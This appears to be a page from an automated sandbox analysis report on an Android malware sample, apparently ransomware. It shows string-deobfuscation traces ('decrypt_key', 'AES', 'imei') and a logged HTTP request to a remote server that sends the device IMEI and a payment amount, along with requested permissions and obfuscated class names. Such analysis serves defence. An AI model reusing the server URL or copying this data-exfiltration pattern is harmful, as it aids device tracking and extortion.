Return Value	com.android.okhttp.internal.huc.HttpURLConnectionImpl	toString: com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://recore.pw/sYnAbvNCAbvAJ.php?action=qr_code&addr=&amount=0.0130&imei=065925473717766

owd.qusutsqfdo.mbpepvxhxly.l

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@241ae7e $1: fail

Name	Type	Value
Return Value	java.lang.String	toString: fail

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@bdb1cc4 $1: id

Name	Type	Value
Return Value	java.lang.String	toString: id

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@574b32e $1: action

Name	Type	Value
Return Value	java.lang.String	toString: action

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@39f405c $1: id

Name	Type	Value
Return Value	java.lang.String	toString: id

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@1213ef4 $1: fail

Name	Type	Value
Return Value	java.lang.String	toString: fail

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@5b4f0b6 $1: AES

Name	Type	Value
Return Value	java.lang.String	toString: AES

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@30c4d24 $1: server

Name	Type	Value
Return Value	java.lang.String	toString: server

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@3176242 $1: decrypt

Name	Type	Value
Return Value	java.lang.String	toString: decrypt

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@cef1889 $1: imei

Name	Type	Value
Return Value	java.lang.String	toString: imei

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@f6190af $1: decrypt_key

Name	Type	Value
Return Value	java.lang.String	toString: decrypt_key

API: java.lang.String-><init> at owd.qusutsqfdo.mbpepvxhxly.l.<clinit>:37	Show source

Name	Type	Value
p0	java.lang.Object	toString: [C@2b2f79a $1: fail

Name	Type

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Classification

Signature Overview

Change of System Appearance:

Operating System Destruction:

Spam, unwanted Advertisements and Ransom Demands:

Privilege Escalation:

E-Banking Fraud:

Networking:

Boot Survival:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Language, Device and Operating System Detection:

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Screenshot

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Static APK Info

General

Activities

Receivers

Services

Permission Requested

Certificate

Resources

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

APK Behavior

Installation

Miscellaneous

Simulated Events

By Permission (executed)

ACCESS_NETWORK_STATE

INTERNET

READ_PHONE_STATE

By Permission (non-executed)

CHANGE_COMPONENT_ENABLED_STATE

CHANGE_WIFI_STATE

DISABLE_KEYGUARD

INTERNET

READ_PHONE_STATE

SET_PREFERRED_APPLICATIONS

By Class (executed)

owd.qusutsqfdo.mbpepvxhxly.IlllIIlllLllIllIIlllIllIlllIIIllIlIlILlLIllllIlIIIlLlIll

owd.qusutsqfdo.mbpepvxhxly.IlllIllIlIIlllllIlllllIIllIllIIIIllIlllllLllllLIILLIIIIl

owd.qusutsqfdo.mbpepvxhxly.IlllllllllIIIIlIllLlllIlLlllIIIlllLIllIIIlIIIlllIlILlllI

owd.qusutsqfdo.mbpepvxhxly.af